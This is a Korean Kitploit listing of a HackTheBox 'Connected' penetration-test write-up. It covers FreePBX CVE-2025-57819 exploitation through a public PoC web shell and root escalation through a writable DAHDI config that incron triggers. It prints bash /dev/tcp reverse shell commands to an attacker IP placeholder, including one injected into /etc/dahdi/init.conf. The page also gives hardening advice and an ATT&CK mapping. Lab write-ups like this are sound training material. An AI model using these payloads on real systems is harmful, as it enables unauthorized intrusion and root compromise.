Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HackTheBox-Connected — HackTheBox 'Connected' 머신에 대한 상세 침투 테스트 라이트업으로, FreePBX CVE-2025-57819(SQLi에서 RCE로) 악용과 incron 잘못된 구성(incron misconfiguration)을 통한 루트 권한 상승을 다룹니다. | Kitploit
도구/GitHubGitHub/ikmalhanaan/hackthebox-connected
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

HackTheBox 'Connected' 머신에 대한 상세 침투 테스트 라이트업으로, FreePBX CVE-2025-57819(SQLi에서 RCE로) 악용과 incron 잘못된 구성(incron misconfiguration)을 통한 루트 권한 상승을 다룹니다.

저장소 보기
14일 전아직 검토되지 않음

HTB Connected Completed Banner

Hack The Box: Connected — 전문 침투 테스트 라이트업


📋 임원 요약 (Executive Summary)

Connected는 Asterisk와 통합된 VoIP 통신 시스템 FreePBX v16.0.40.7을 실행하는 CentOS 기반 Linux 머신입니다.

공격 경로 (Attack Vector / Kill Chain)는 두 가지 주요 단계로 구성됩니다:

  1. 초기 침투 (Initial Foothold): FreePBX의 치명적인 취약점 CVE-2025-57819 (인증 우회 및 SQL 인젝션을 통한 원격 코드 실행 / RCE)을 악용하여 웹 셸을 설치하고 asterisk 서비스 사용자로 리버스 셸을 획득합니다.
  2. 권한 상승 (Privilege Escalation to Root): 로컬 시스템 구성을 감사하여 스풀 파일을 모니터링하는 incron (inotify cron) 데몬을 발견합니다. 이 트리거는 /var/spool/asterisk/sysadmin/dahdi_restart 파일에 쓰기가 발생할 때 루트 스크립트 /usr/sbin/sysadmin_dahdi_restart를 실행합니다. DAHDI 구성 파일 /etc/dahdi/init.conf가 asterisk 사용자에 의해 쓰기 가능하므로, 해당 구성 파일에 리버스 셸 페이로드를 주입하면 root (uid=0) 권한으로 자동 실행됩니다.

📑 목차 (Table of Contents)

  1. 머신 및 테스트 환경 정보
  2. 1단계: 정찰 및 포트 스캐닝 (네트워크 탐색)
  3. 2단계: 웹 열거 및 취약점 식별
  4. 3단계: 초기 침투 (CVE-2025-57819 악용)
  5. 4단계: 사후 침투 및 권한 상승 (루트 획득)
  6. 5단계: 근본 원인 분석 및 완화 권장사항 (하드닝)
  7. MITRE ATT&CK 매핑

1. 머신 및 테스트 환경 정보


2. 1단계: 정찰 및 포트 스캐닝 (네트워크 탐색)

침투 테스트의 첫 단계는 nmap을 사용한 능동 정찰을 통해 열린 포트, 실행 중인 서비스 및 시스템 버전을 식별하는 것으로 시작합니다.

2.1 Nmap 종합 스캔 실행

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Nmap 플래그 설명:

  • -T4: 더 빠르고 효율적인 스캔을 위해 타이밍 템플릿을 공격적으로 설정합니다.
  • -sC: 기본적인 취약점 탐지를 위한 기본 NSE (Nmap Scripting Engine) 스크립트 모음을 실행합니다.
  • -sV: 응답하는 각 포트에 대해 서비스 및 버전 탐지를 활성화합니다.
  • -oA recon/nmap_quick: 모든 출력 형식(standard, grepable, XML)을 recon 디렉토리에 저장합니다.

2.2 포트 및 서비스 분석 결과

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 스캔의 주요 발견 사항:

  1. 포트 22 (SSH): OpenSSH 7.4 버전 사용 (CentOS 7 시스템의 특징).
  2. 포트 80 및 443 (HTTP/HTTPS): PHP 7.4.16 런타임을 사용하는 Apache 2.4.6 웹 서버 사용. 웹 서버는 http://connected.htb/ 도메인으로 HTTP 리디렉션으로 응답합니다.

3. 2단계: 웹 열거 및 취약점 식별

3.1 로컬 DNS 매핑 구성

웹 서버가 가상 호스팅을 적용하고 트래픽을 connected.htb로 리디렉션하므로 /etc/hosts에 로컬 호스트 이름 확인을 추가해야 합니다:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 웹 애플리케이션 (FreePBX) 핑거프린팅

브라우저를 통해 URL http://connected.htb/admin/config.php에 접근하면 웹 기반 VoIP 관리 인터페이스가 표시됩니다:

FreePBX Web Interface

웹 페이지의 바닥글에서 특정 버전 정보를 확인할 수 있습니다:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • 애플리케이션: FreePBX Administration
  • 버전: 16.0.40.7
  • 공급업체: Sangoma Technologies Inc.

4. 3단계: 초기 침투 (CVE-2025-57819 악용)

4.1 취약점 분석

FreePBX 16.0.40.7 버전은 CVE-2025-57819에 취약합니다. 이 취약점은 사전 인증 SQL 인젝션으로, 자격 증명이 없는 (인증되지 않은) 공격자가 FreePBX/Asterisk 백엔드 데이터베이스를 조작할 수 있게 합니다.

해당 SQL 인젝션을 통해 공격자는 내부 Asterisk cron 작업 테이블(asterisk.cron_jobs)을 수정하거나 웹 서버 디렉토리에 임의의 PHP 코드를 주입(웹 셸 생성)하여 원격 코드 실행 (RCE) 으로 이어질 수 있습니다.

4.2 익스플로잇 준비 및 실행

WatchTowr Labs의 공개 PoC 익스플로잇을 활용했습니다:

root@kitploit:~
# 1. 익스플로잇 저장소 클론
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. 대상에 익스플로잇 스크립트 실행
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

익스플로잇 실행 결과: 스크립트가 대상 악용에 성공하고 다음 엔드포인트에 활성 웹셸을 생성했습니다:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 리버스 셸 연결 및 사용자 플래그 획득

대화형 세션 (리버스 셸)을 얻으려면 다음 단계를 수행하십시오:

  1. 공격자 머신에서 Netcat 리스너 열기:

    root@kitploit:~
    nc -lvnp 1212
    
  2. 웹 셸을 통해 리버스 셸 페이로드 전송: URL 인코딩된 매개변수와 함께 curl을 사용하여 리버스 셸 페이로드를 전송합니다:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. 리버스 셸 연결 수신 확인: nc 리스너로 연결이 수신되고 asterisk 사용자로 대화형 셸 액세스 권한을 얻습니다.

Reverse Shell and User Flag

  1. 사용자 플래그 획득:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. 4단계: 사후 침투 및 권한 상승 (루트 획득)

asterisk 사용자로 액세스 권한을 얻은 후, 다음 단계는 root로의 권한 상승 벡터를 찾기 위한 내부 열거를 수행하는 것입니다.

5.1 데몬 및 파일 모니터 (incron) 열거

incron 데몬 (inotify cron table)의 구성을 확인합니다. 이 서비스는 파일 시스템 이벤트(파일 수정 또는 생성 등) 발생 시 명령을 실행합니다:

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Incron 구성 출력:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Incron 규칙 분석:

  • 줄: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • 메커니즘: /var/spool/asterisk/sysadmin/dahdi_restart 파일이 쓰기 작업 후 닫힐 때마다(IN_CLOSE_WRITE), 시스템은 root 권한으로 /usr/sbin/sysadmin_dahdi_restart 스크립트를 자동으로 실행합니다.

5.2 DAHDI 스크립트 및 쓰기 가능한 파일 권한 분석

/usr/sbin/sysadmin_dahdi_restart 스크립트를 추가로 검사한 결과, 이 스크립트는 DAHDI (Digium Asterisk Hardware Device Interface) 서비스를 재시작하고 /etc/dahdi/init.conf 구성 파일을 실행/로드(source)합니다.

/etc/dahdi/init.conf 파일의 권한을 확인한 결과, 이 파일은 asterisk 사용자가 쓰기 가능합니다:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 악용: 페이로드 주입 및 Incron 이벤트 트리거

/etc/dahdi/init.conf가 DAHDI 재시작 시 root 컨텍스트에서 실행되므로, 구성 파일에 리버스 셸 명령을 삽입한 후 incron을 통해 재시작을 트리거할 수 있습니다.

  1. 공격자 머신에서 새 리스너 열기 (포트 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. /etc/dahdi/init.conf에 리버스 셸 주입:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. 스풀 파일 쓰기를 통한 Incron 이벤트 트리거:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 루트 셸 및 플래그 획득

incron이 파일 쓰기 이벤트를 처리한 후 몇 초 내에 루트 스크립트가 삽입된 명령줄을 실행하여 root (uid=0)로 리버스 셸 연결을 생성합니다:

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. 5단계: 근본 원인 분석 및 완화 권장사항 (하드닝)


7. MITRE ATT&CK 매핑


Pwned by ikmalhanaan 🚀

도구 다운로드
구성 요소사양 / 설명
머신 이름Connected
운영 체제Linux (CentOS / FreePBX Distro)
대상 IP<IP_TARGET> (connected.htb)
공격자 IP<IP_VPN_KITA> (VPN 인터페이스 tun0)
주요 취약점CVE-2025-57819 (FreePBX 인증 우회 및 SQLi to RCE)
권한 상승 메커니즘잘못 구성된 Incron 데몬 후크 + 쓰기 가능한 /etc/dahdi/init.conf
사용 도구nmap, curl, python3, netcat (nc), bash, git
취약점 벡터영향수정 / 완화 권장사항
FreePBX 사전 인증 SQLi (CVE-2025-57819)치명적 — 데이터베이스 인젝션을 통한 인증 없는 RCE 가능.FreePBX를 Sangoma의 최신 공식 패치 버전으로 업데이트. 모든 API 엔드포인트에 엄격한 입력 검증 및 Prepared Statements / Parameterized Queries 적용.
안전하지 않은 파일 권한 (/etc/dahdi/init.conf)높음 — 권한 없는 사용자(asterisk)가 root가 실행하는 구성 파일을 수정할 수 있음.구성 파일의 소유권 및 쓰기 권한 제한: chmod 644 /etc/dahdi/init.conf 및 chown root:root /etc/dahdi/init.conf.
Incron 자동 루트 실행중간/높음 — 루트 자동화 스크립트가 무결성 검증 없이 구성 파일을 로드함.모든 incron 규칙 및 /usr/sbin/sysadmin_* 스크립트 감사. 비루트 수정에 취약한 동적 구성 파일 소싱 방지.
전술기술 ID기술 이름Box 적용
정찰 (Reconnaissance)T1595.002Active Scanning: Vulnerability Scanningnmap을 사용한 포트 및 서비스 스캐닝.
초기 접근 (Initial Access)T1190Exploit Public-Facing ApplicationFreePBX 웹 서버의 CVE-2025-57819 취약점 악용.
실행 (Execution)T1059.004Command and Scripting Interpreter: Unix Shell웹 셸 및 init 스크립트를 통한 bash 리버스 셸 명령 실행.
지속성 / 권한 상승 (Persistence / Privilege Escalation)T1053.003Scheduled Task/Job: Cron자동 루트 작업 실행을 위한 incron 데몬 활용.
권한 상승 (Privilege Escalation)T1574.009Hijack Execution Flow: Path/Configuration Hijacking/etc/dahdi/init.conf 구성 파일에 악성 명령 주입.
자격 증명 접근 / 수집 (Credential Access / Collection)T1005Data from Local Systemuser.txt 및 root.txt 플래그 읽기.